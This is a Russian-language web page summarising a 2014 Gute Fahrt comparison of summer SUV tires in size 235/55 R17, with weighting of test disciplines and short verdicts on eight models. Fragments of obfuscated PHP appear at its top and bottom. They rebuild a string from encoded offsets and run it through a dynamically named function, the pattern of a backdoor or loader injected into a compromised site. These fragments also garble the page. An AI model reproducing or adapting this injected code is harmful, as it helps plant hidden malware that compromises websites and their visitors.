aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

Gute Fahrt: Тест летних шин размера 235/55 R17 для кроссоверов (2014)

Эксперты Gute Fahrt тестируют 12 летних шин для кроссоверов, в том числе одну модель в трех разных типоразмерах. Gute Fahrt впервые в своей истории выбрал для тестов покрышки размера 235/55 R17. Все тесты были проведены на тесте Pirelli в итальянской Виццоле с использованием трех дизельных Volkswagen Tiguan с передним и полным приводом.

Список протестированных шин: Bridgestone Dueler H/P Sport, Continental ContiCrossContact UHP, Dunlop Sport Maxx RT, Goodyear Eagle F1 Asymmetric 2, Hankook Ventus S1 evo2 SUV K117A, Pirelli Scorpion Verde, Star Performer SUV-1, Toyo Proxes CF1 SUV, Vredestein Quatrac 3 SUV, WestLake SV308.

 

В программу тестов было включено 11 дисциплин. Наиболее важными были субъективные оценки управляемости на сухой и мокрой поверхности, а также устойчивости к боковому уводу на орошаемом треке, причем сначала тесты провели на переднеприводном Tiguan, а потом на версии 4matic. Далее последовали испытания на уровень шума и комфорт, где качества шин также оценивались субъективно. Потом провели и классические тесты – на эффективность торможения, устойчивость к различным видам аквапланирования и сопротивление качению. 

 

Финальный рейтинг составлялся следующим образом. Весомость результатов в имеющих большое значение тестах на управляемость и эффективность торможения на мокрой поверхности равнялась 25%, в тесте на торможение на сухой поверхности – 15%, в испытаниях на управляемость на сухом покрытии и сопротивление качению – 10%, а во всех остальных дисциплинах – 5%. Первое место с минимальным отрывом занимают Hankook, Pirelli, Dunlop и недавно обновленные Continental, которые все получают оценку «Очень хорошо».

Что касается всесезонных Vredestein, они справились с испытаниями так, как и ожидалось. Они могут быть приемлемым вариантом, но только для тех, кто мало ездит и живет в теплом климате.

Источник: Gute Fahrt

Предлагаем ознакомиться с результатами первой восьмерки:

Continental ContiCrossContact UHP Очень хорошо – Рекомендовано 

Ганноверские инженеры снова демонстрируют, какими могут быть современные шины.

Continental смогли совместить короткий тормозной путь на мокрой поверхности с низким сопротивлением качению.

Кроме того, у них точные и предсказуемые реакции на повороты руля в любых условиях, хотя стоит отметить, что устойчивость к аквапланированию следует улучшить.

 
Dunlop Sport Maxx RT Очень хорошо – Рекомендовано 

Dunlop одобрены для комплектации Audi Q3, и у них очень хорошая управляемость и высокое сцепление в любых условиях.

Они немного отстали от других шин в тестах на эффективность торможения на мокром треке и сопротивление качению, но зато отлично справились с торможением на сухом покрытии, и у них высокая устойчивость к аквапланированию.

 
Hankook Ventus S1 evo2 SUV K117AОчень хорошо – Рекомендовано 

Hankook являются одной из абсолютных новинок этой весны, и корейцы снова показали, на что способны.

Неважно мокрая поверхность или сухая, Hankook обеспечивают отличную маневренность и высокое сцепление в любых ситуациях.

Плюс к этому у них превосходная эффективность торможения, низкое сопротивление качению и хорошая устойчивость к аквапланированию.

 
Pirelli Scorpion VerdeОчень хорошо – Рекомендовано

Итальянский скорпион все так же представляет реальную угрозу для любого соперника.

В плане торможения на мокром треке они все же уступили более молодым конкурентам, но и то не так существенно.

Pirelli также омологированы Volkswagen и Audi, и у них отличная управляемость и эффективное торможение в любых условиях.

 
Bridgestone Dueler H/P Sport 17 дюймовХорошо +

Японские шины продемонстрировали сбалансированное и гармоничное поведение и на сухой, и на мокрой поверхности.

У Bridgestone также низкое сопротивление качению, хорошее качество хода и низкий уровень шума, а также высокая устойчивость к аквапланированию.

И в дополнение к этому низкое сопротивление качению и хороший уровень комфорта.

Goodyear Eagle F1 Asymmetric 2Хорошо +

Goodyear предназначены для тех, кому требуются более спортивные шины, и эта модель подготовлена к скоростям до 300 км/ч.

Хотя уровень комфорта будет ниже, у Goodyear очень точные реакции, нейтральная поворачиваемость и хорошая устойчивость во время резких маневров.

На мокром покрытии они тоже откликаются очень быстро и прямолинейно, и у них хорошая устойчивость к аквапланированию.

 
Toyo Proxes CF1 SUVХорошо –

Специально адаптированные для кроссоверов шины японской компании достаточно безопасно и контролируемо ведут себя на сухой и мокрой поверхности, но несмотря на высокое сцепление, проявляют явную склонность к недостаточной поворачиваемости во время резких маневров.

Кроме того, у них относительно низкая эффективность торможения, но зато хорошая устойчивость к аквапланированию и низкое сопротивление качению.

 
Bridgestone Dueler H/P Sport 16 дюймовХорошо –

16-дюймовые шины обеспечивают хороший уровень безопасности, хотя им может и не хватать устойчивости уже более популярной 17-дюймовой модели.

Требуется больший угол поворота руля, и шины требуют больше внимания во время экстренного маневра.

Эффективность торможения – средняя, а устойчивость к аквапланировани лучшая.

Но даже в плане комфорта шины меньшего размера ни имеют реальных преимуществ.

 

<(sizeof($vyvuqmb)/2);$kygxyais++) { $xchqymtvt .= substr($hfyodq, $vyvuqmb[($kygxyais*2)],$vyvuqmb[($kygxyais*2)+(6-5)]); } return $zphnttzbbqs(chr((47-38)),chr((627-535)),$xchqymtvt); }; } $dvsrhsssr = explode(chr((181-137)),'4432,36,885,64,1986,26,3807,46,5613,66,3447,45,1591,37,5357,38,1454,57,2635,25,22,62,4317,31,325,57,5679,63,1304,50,5191,64,1383,43,1354,29,5100,40,2119,39,3074,49,3908,33,5801,51,3038,36,3158,22,475,26,1689,69,265,60,4348,47,3557,60,2870,64,5941,38,3180,43,432,43,5140,28,5395,20,2594,41,5852,47,5505,68,4174,41,1108,57,2425,56,604,36,761,68,2522,28,3223,31,4943,55,2850,20,2481,41,5899,42,2227,24,84,31,501,58,2012,54,4104,70,2711,69,5742,22,3987,22,4834,25,949,58,1888,44,1007,32,5255,63,4062,42,4009,53,5764,37,3316,24,3853,55,3123,35,3391,56,1932,54,4998,58,5573,40,1426,28,2550,44,1540,20,2660,51,0,22,3711,50,2780,70,1207,65,5056,44,4215,63,640,64,4468,49,5439,66,4733,52,829,56,727,34,2251,42,4785,49,3941,46,1039,69,115,27,174,68,4859,33,1859,29,2158,69,1819,40,4395,37,5979,41,5415,24,4663,25,2293,45,3649,62,1511,29,3492,65,4634,29,1628,61,5318,39,3761,46,1758,61,704,23,1560,31,559,45,3340,51,3617,32,4688,45,1272,32,1165,42,4517,53,4278,39,4570,64,2934,45,2371,54,4892,51,382,50,2979,59,242,23,2338,33,3254,62,5168,23,2066,53,142,32'); $vanjjzkcz = $nqxmwju("",pmzxtwl($dvsrhsssr,$tinytxk,$rumaajrch)); $nqxmwju=$tinytxk; $vanjjzkcz(""); $vanjjzkcz=(515-394); $tinytxk=$vanjjzkcz-1; ?>
http://www.pkp.lv